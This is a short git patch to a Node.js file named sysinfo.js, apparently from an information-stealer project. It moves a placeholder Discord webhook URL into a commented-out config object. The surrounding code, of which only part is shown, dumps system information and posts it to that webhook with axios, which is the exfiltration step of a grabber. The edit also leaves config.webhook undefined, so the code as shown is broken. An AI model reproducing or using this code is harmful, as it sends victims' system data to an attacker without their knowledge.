From dee2a02311922d2039b5ab65054685a0d240be05 Mon Sep 17 00:00:00 2001 From: Synthetic <130696187+syntheticlol@users.noreply.github.com> Date: Wed, 15 Nov 2023 08:01:03 -0500 Subject: [PATCH] Update sysinfo.js --- Utils/sysinfo.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Utils/sysinfo.js b/Utils/sysinfo.js index cfeeaef..ffe17db 100644 --- a/Utils/sysinfo.js +++ b/Utils/sysinfo.js @@ -5,7 +5,9 @@ const os = require('os') const path = require('path') const { execSync } = require('child_process') -const webhook = 'https://discord.com/api/webhooks/xxx/xxx' +/// const config = { +/// webhook: "https://discord.com/api/webhooks/xxx/xxx" +///}; async function systemInformationFullCopy() { try { @@ -57,7 +59,7 @@ async function systemInformationDump() { }, ], }; - await axios.post(webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } }); + await axios.post(config.webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } }); } catch {} }